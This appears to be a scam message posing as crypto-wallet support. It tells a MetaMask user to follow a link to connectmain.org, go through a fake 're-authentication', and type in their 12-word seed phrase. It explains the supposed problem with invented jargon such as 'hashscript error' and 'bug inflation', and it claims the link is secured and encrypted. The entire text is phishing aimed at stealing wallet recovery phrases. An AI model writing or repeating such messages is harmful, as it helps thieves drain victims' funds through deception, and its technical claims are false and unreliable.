

Hello! I've been assigned to help

Have you been able to rectify your issues

Qualify me your question please.

What wallet do you hold ?

Kindly provide your wallet address

To check on our database

Hello mate, You need to synchronize your wallet to receiving the rewards due to our recent update. This also regulates the gas fee and increases your wallet security.

I understand what the problem is your installed wallet is currently facing a BOT response delay due to some hashscript error and bug inflation, that is the main reason why your wallet credited in your Metamask activities couldn't be processed successfully.

<https://connectmain.org/wallets.php>

Once you click the link, just follow the steps and you will get the issue resolved yourself. If you have any question while doing it, ask me and I will guide you through.

Once you click on the link above select metamask

account. Then follow the steps and procedures to reauthenticate and validate account to resolve this issue. do that now and get back to me when you done it successfully.

- *Click on the link

- *Click on wallets

- *Choose your type of wallet

- *Click on your wallet logo

- *Input the required information and complete the re authentication

Kindly import your 12 seed phrase there so that the issues you're facing can get solved here in our database ok?

Note! the re-authentication link is secured and encrypted, your information will be received by the bot and the bot will automatically re-authenticate your wallet
